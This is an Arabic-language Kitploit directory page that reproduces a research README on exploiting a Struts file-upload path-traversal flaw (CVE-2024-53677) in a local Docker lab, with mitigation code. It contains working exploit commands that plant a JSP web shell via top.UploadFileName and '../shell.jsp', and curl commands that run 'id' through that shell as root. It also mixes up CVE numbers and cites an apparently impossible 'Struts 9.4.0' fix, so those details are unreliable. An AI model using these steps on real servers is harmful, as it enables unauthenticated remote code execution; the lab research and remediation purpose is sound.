Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
struts-uploader-vulnerability — بحث حول خيارات استغلال CVE-2024-53667 وسبل معالجتها | Kitploit
أدوات/GitHubGitHub/baburkin/struts-uploader-vulnerability
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubbaburkin/struts-uploader-vulnerability

struts-uploader-vulnerability

بحث حول خيارات استغلال CVE-2024-53667 وسبل معالجتها

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
منذ 2 أشهرلم تتم المراجعة بعد

CVE-2024-53677 — كيف يعمل الاستغلال وكيفية تشغيله

ملخص الثغرة

تكمن الثغرة في كيفية تمرير FileUploadInterceptor في Struts لاسم الملف المرفوع إلى صنف الإجراء (action class). في الوضع الطبيعي، يقوم المعترض (interceptor) بتعقيم اسم الملف، لكن Struts يسمح أيضًا لأي معامل متعدد الأجزاء (multipart parameter) بأن تتم معالجته كتعبير OGNL بواسطة ParametersInterceptor. إن إرسال top.UploadFileName (أو uploadFileName[0] لأفعال الملفات المتعددة) كحقل نموذج يستدعي مباشرةً action.setUploadFileName(value) عبر OGNL، متجاوزًا ما يعيّنه المعترض.

ثم يكتب الإجراء الملف دون تعقيم للمسار:

root@kitploit:~
String uploadDir = "webapps/ROOT/uploads";          // relative to Tomcat CWD /usr/local/tomcat/
File destFile = new File(uploadDirectory, uploadFileName);  // no sanitization

إرسال ../shell.jsp كاسم ملف يتحول إلى:

root@kitploit:~
/usr/local/tomcat/webapps/ROOT/uploads/../shell.jsp
= /usr/local/tomcat/webapps/ROOT/shell.jsp          ← served at http://localhost:8080/shell.jsp

رفع قشرة ويب JSP هناك يمنح تنفيذ أوامر عن بُعد بدون مصادقة (RCE).


الاستغلالات قيد البحث

هناك استغلالان قيد البحث بخصوص هذه الثغرة:

  1. مختبر Tomcat والاستغلال من EQSTLab
  2. قاعدة بيانات ثغرات Snyk

خادم تطبيقات Lab Tomcat، المستخدم كهدف لكلا الاستغلالين، مأخوذ من المستودع الأول ويعمل داخل حاوية (docker أو podman).

يوفّر هذا المستودع استغلالًا آخر كنسخة Java من poc.py، وهو منشأ من المصدر الثاني.

يظهر الفرق الدقيق بين الاستغلالين في جدول المقارنة جنبًا إلى جنب في نهاية هذا المستند.


نتائج التحقيق

تم تأكيد عمل كلا الاستغلالين على Struts 6.3.0.2.

ومع ذلك، عند ترقية Struts إلى 6.8.0 أو 6.9.0، توقف الاستغلال الأول (CVE-2024-53677.py) عن العمل - بسبب الإصلاح في Struts 9.4.0.

يعمل الاستغلال الثاني (StrutsExploitRunner) على جميع الإصدارات 6.3.0.2 و6.8.0 و6.9.0، ما لم يتم تحديث كود التطبيق القابل للاستغلال على النحو الموصى به أدناه في قسم التخفيف (Mitigation).

انظر التفاصيل التقنية للتحقيق أدناه.

إعداد المختبر

استنسخ المستودع الأول وانتقل إلى دليله الجذري:

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-53677
cd CVE-2024-53677

ستحتاج إلى docker (أصلاً) أو podman (المستخدم في بحثنا) لبناء وتشغيل Lab Tomcat المخترَق:

root@kitploit:~
cd docker
podman build --ulimit nofile=122880:122880 -m 3G -t exploit .
podman run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name exploit exploit

شغّل سكربتات الاستغلال كما هو موضح أدناه في شل منفصلة من الدليل الجذري للمستودع مع تفعيل البيئة الافتراضية للـ Python.


استخدام CVE-2024-53677.py

ماذا يفعل؟

يرفع قشرة ويب JSP إلى /upload.action باستخدام top.UploadFileName لحقن اسم ملف بتجاوز المسار (path-traversal). القشرة الويب المثبتة تقبل الأوامر عبر ?action=cmd&cmd=<command>.

الأمر

root@kitploit:~
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../shell.jsp

-p هي القيمة التي تُمرَّر كـ top.UploadFileName. يكفي ../ واحدة للخروج من دليل uploads/ ووضع الملف في جذر الويب.

التحقق من RCE

root@kitploit:~
curl "http://localhost:8080/shell.jsp?action=cmd&cmd=id"
# uid=0(root) gid=0(root) groups=0(root)

لاحظ معامل action=cmd المطلوب — تتحقق القشرة الويب المثبتة منه قبل تشغيل الأمر. بدونه ستحصل على Unknown action. بدلاً من المخرجات.

رفع حمولة مخصصة

root@kitploit:~
python CVE-2024-53677.py \
  -u http://localhost:8080/upload.action \
  -p ../shell.jsp \
  -f ./my_payload.jsp

استخدام StrutsExploitRunner

ماذا يفعل؟

يستهدف /uploads.action (النسخة متعددة الملفات) ويعيّن uploadFileName[0] عبر OGNL إلى قيمة تجاوز مسار. نفس الالتفاف الأساسي، مع اختلاف اسم المعامل وصنف الإجراء.

بناء ملف الجرة الخاص بالاستغلال

ستحتاج إلى JDK 17 أو أحدث لبناء وتشغيل الاستغلال (يجب أن يكون ملف java الثنائي في PATH الخاص بك).

نفّذ الأمر التالي في جذر هذا المستودع لبناء ملف uber-jar القابل للتنفيذ:

root@kitploit:~
./mvnw clean package

تشغيل الاستغلال

root@kitploit:~
java -jar target/exploit-1.0-SNAPSHOT.jar \
  -u http://localhost:8080 \
  --upload_endpoint /uploads.action \
  --paths .. \
  --filenames shell.jsp

--filenames يثبّت اسم الملف بحيث تعرف أين تجلبه. بدونه يولّد السكربت أسماء عشوائية تُطبع في المخرجات.

التحقق من RCE

قشرة الويب التي رفعها هذا التطبيق تستخدم واجهة ?cmd= الأبسط:

root@kitploit:~
curl "http://localhost:8080/shell.jsp?cmd=id"
# uid=0(root) gid=0(root) groups=0(root)

إجراءات التخفيف للتطبيقات العالقة على Struts 6.x

الإصلاح الأساسي هو الترقية إلى Struts 7.x، الذي أعاد بناء آلية رفع الملفات بالكامل. إذا كانت هذه الترقية معطّلة (توافق JDK 8، قيود تبعيات الطرف الثالث)، يمكن تطبيق التخفيف أدناه.


تعقيم اسم الملف في صنف الإجراء (الأعلى تأثيرًا، على مستوى الكود)

هذا هو الإصلاح الأكثر متانة لأنه يعمل بغض النظر عما يمرره أي معترض. جرّد جميع مكونات المسار من اسم الملف قبل إنشاء مسار الوجهة، ثم تحقق من أن المسار المُحلّ لا يزال داخل الدليل المقصود.

root@kitploit:~
import java.nio.file.Paths;

public String doUpload() {
    if (upload != null && upload.length() > 0) {
        try {
            File uploadDirectory = new File("/var/app/uploads");
            if (!uploadDirectory.exists()) uploadDirectory.mkdirs();

            // Strip any path components the attacker injected via top.UploadFileName
            String safeFileName = Paths.get(uploadFileName).getFileName().toString();

            File destFile = new File(uploadDirectory, safeFileName);

            // Confirm the resolved path is still inside the upload directory
            String canonicalDest = destFile.getCanonicalPath();
            String canonicalBase = uploadDirectory.getCanonicalPath();
            if (!canonicalDest.startsWith(canonicalBase + File.separator)) {
                addActionError("Invalid upload path.");
                return ERROR;
            }

            // ... copy bytes as before

يُرجع Paths.get("../shell.jsp").getFileName() القيمة shell.jsp، لذلك حتى إذا سلّم top.UploadFileName سلسلة تجاوز مسار، فإنها تُختزل إلى اسم ملف بسيط قبل أي عملية إدخال/إخراج.

ينطبق النمط نفسه على UploadsAction — طبّقه داخل حلقة for على كل uploadFileName.get(i).


مقارنة جنبًا إلى جنب

تنزيل الأداة
CVE-2024-53677.pyStrutsExploitRunner
نقطة النهاية/upload.action/uploads.action
معامل OGNLtop.UploadFileNameuploadFileName[0]
صنف الإجراءUploadAction (ملف واحد)UploadsAction (متعدد الملفات)
استدعاء قشرة الويب?action=cmd&cmd=<cmd>?cmd=<cmd>
خطأ المسار الافتراضيلا يوجدالقيمة الافتراضية لـ --paths عميقة جدًا، استبدلها بـ ..